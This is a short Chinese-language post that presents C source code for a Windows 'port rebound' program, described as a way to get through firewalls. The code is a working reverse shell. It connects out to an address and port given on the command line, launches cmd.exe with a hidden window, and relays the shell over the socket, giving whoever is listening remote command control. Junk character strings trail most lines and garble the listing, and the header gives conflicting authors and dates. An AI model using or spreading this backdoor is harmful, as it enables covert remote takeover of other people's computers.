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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 $BkdC'D  
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/* ============================== C  `k^So)  
Rebound port in Windows NT H /*^$>0Uo  
By wind,2006/7 x]Q+M2g?  
===============================*/ ]e7D""  
#include ([`-*Hy  
#include C(7LwV  
v=iz*2+X  
#pragma comment(lib,"wsock32.lib") Y&]pC  
6TlkPM$~2  
void OutputShell(); 1!0BE8s"@  
SOCKET sClient; >=r094<  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; kG@1jMPtQ  
2Q-kD?PO,  
void main(int argc,char **argv) {6a";Xj\e  
{ Zb<DgJ=3  
WSADATA stWsaData; !@p@u;djJ  
int nRet; 8.'%wOU @A  
SOCKADDR_IN stSaiClient,stSaiServer; d+ql@e]  
"((6)U#  
if(argc != 3) Q0Dw2>~_K  
{ ^mkplp a  
printf("Useage:\n\rRebound DestIP DestPort\n"); {*yhiE,  
return; - "h {B  
} $ [M8G   
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WSAStartup(MAKEWORD(2,2),&stWsaData); z*I=  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +c+#InsY  
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stSaiClient.sin_family = AF_INET; +wS?Z5%mU  
stSaiClient.sin_port = htons(0); lH T?  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); !sK{:6s  
mWfzL'*  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) <G}>Gk8x  
{ jbMzcn~ehI  
printf("Bind Socket Failed!\n"); GyRU/0'BME  
return; HwiG~'Ah9  
} ]* ':  
{Lrez E4  
stSaiServer.sin_family = AF_INET; X3<<f`X  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 2PAo tD4+I  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); AQ'~EbH(  
-]A,SBs  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) f0O"Hm$Z  
{ 3{]csZvW  
printf("Connect Error!"); [Xg?sdQCI  
return; rcY[jF  
} Xj.6A,}^  
OutputShell(); doW_v u  
} Rm&i"  
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void OutputShell() Go= MG:`  
{ OU/PB  
char szBuff[1024]; TO- [6Pq#  
SECURITY_ATTRIBUTES stSecurityAttributes; ")i4w{_y  
OSVERSIONINFO stOsversionInfo; |36d<b Io  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; (w6024~  
STARTUPINFO stStartupInfo; }c:s+P+/  
char *szShell; P I)lJ\  
PROCESS_INFORMATION stProcessInformation; ^R! qxSj  
unsigned long lBytesRead; &?#V*-;^  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); zw_Xh~4"b  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); -V%"i,t  
stSecurityAttributes.lpSecurityDescriptor = 0; a[ 1^)=/DM  
stSecurityAttributes.bInheritHandle = TRUE; 9h9 jS~h  
3ktjMVy\  
N! }p  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); si.ZTG9m  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); LkK%DY  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); F;kY5+a7~e  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; sC(IeGbX  
stStartupInfo.wShowWindow = SW_HIDE; '-N `u$3Y  
stStartupInfo.hStdInput = hReadPipe; 6c$ so  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; bqWo*>l  
^<}9#q/rt  
GetVersionEx(&stOsversionInfo); ZUyG }6)J  
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switch(stOsversionInfo.dwPlatformId) ~k^rIjR  
{ "v@Y[QI  
case 1: ,.A@U*j  
szShell = "command.com"; ="Zr.g~8  
break; 4>-'wMW")  
default: a\pOgIp  
szShell = "cmd.exe"; ikX"f?Q;S2  
break; X ^8@T  
} _~/F-  
N?hQ53#3  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); v[{g "C  
B52n'.  
send(sClient,szMsg,77,0); $P&{DOiKS  
while(1) Y3=5J\d!a  
{ b"Hc==`  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); e=Ko4Ao2y  
if(lBytesRead) l25_J.e  
{  DA]<30 w  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); xvw @'|  
send(sClient,szBuff,lBytesRead,0); BbsgZ4  
} -FpZZ8=,M2  
else @6h ,#8#  
{ C@d*t?  
lBytesRead=recv(sClient,szBuff,1024,0); VzD LGLH  
if(lBytesRead<=0) break; ?1w{lz(P  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); h K;9XJAf  
} Pt5"q3ec{T  
} )l?1 dR:sP  
&n$kVNE  
return; x3DUz  
}
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